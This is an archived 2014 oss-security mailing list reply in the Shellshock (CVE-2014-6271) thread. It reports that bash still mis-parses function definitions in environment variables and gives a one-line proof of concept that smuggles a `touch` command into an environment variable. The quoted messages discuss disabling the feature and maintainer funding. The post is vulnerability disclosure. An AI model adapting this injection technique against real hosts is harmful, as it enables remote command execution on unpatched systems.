[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]
Date: Mon, 29 Sep 2014 21:01:47 +0800
From: Osmond Sun <osmond.sun@...il.com>
To: oss-security@...ts.openwall.com
Cc: chet.ramey@...e.edu
Subject: Re: Re: CVE-2014-6271: remote code execution through
bash (3rd vulnerability)
I found the function parsing is still imperfect.
e.g. $env x="() { :;}; `touch vulnerablefile`" bash -c "echo this is a test "
2014-09-29 20:55 GMT+08:00 Giles Coochey <giles@...chey.net>:
> On 29/09/2014 12:17, Loganaden Velvindron wrote:
>>
>> HI Chet, As you are aware, a sixth security issue has been discovered.
>> Due to the nature of the vulnerability, I believe that it's best to
>> break backward compatibility as done by FreeBSD and NetBSD until a
>> proper patch is developed. We are lucky to have security researchers
>> reporting their findings publicly. What about others that don't ? I
>> strongly believe that it's much safer to have it disabled, and have a
>> complete and comprehensive audit of the source code, and then
>> re-enable it.
>
>
> Am I the only one who is wondering: Who is paying Chet to do this?
>
> --
> Regards,
>
> Giles Coochey, CCNP, CCNA, CCNAS
> NetSecSpec Ltd
> +44 (0) 8444 780677
> +44 (0) 7584 634135
> http://www.netsecspec.co.uk
> giles.coochey@...secspec.co.uk
>
Powered by blists - more mailing lists
Please check out the
Open Source Software Security Wiki, which is counterpart to this
mailing list.
Confused about mailing lists and their use?
Read about mailing lists on Wikipedia
and check out these
guidelines on proper formatting of your messages.
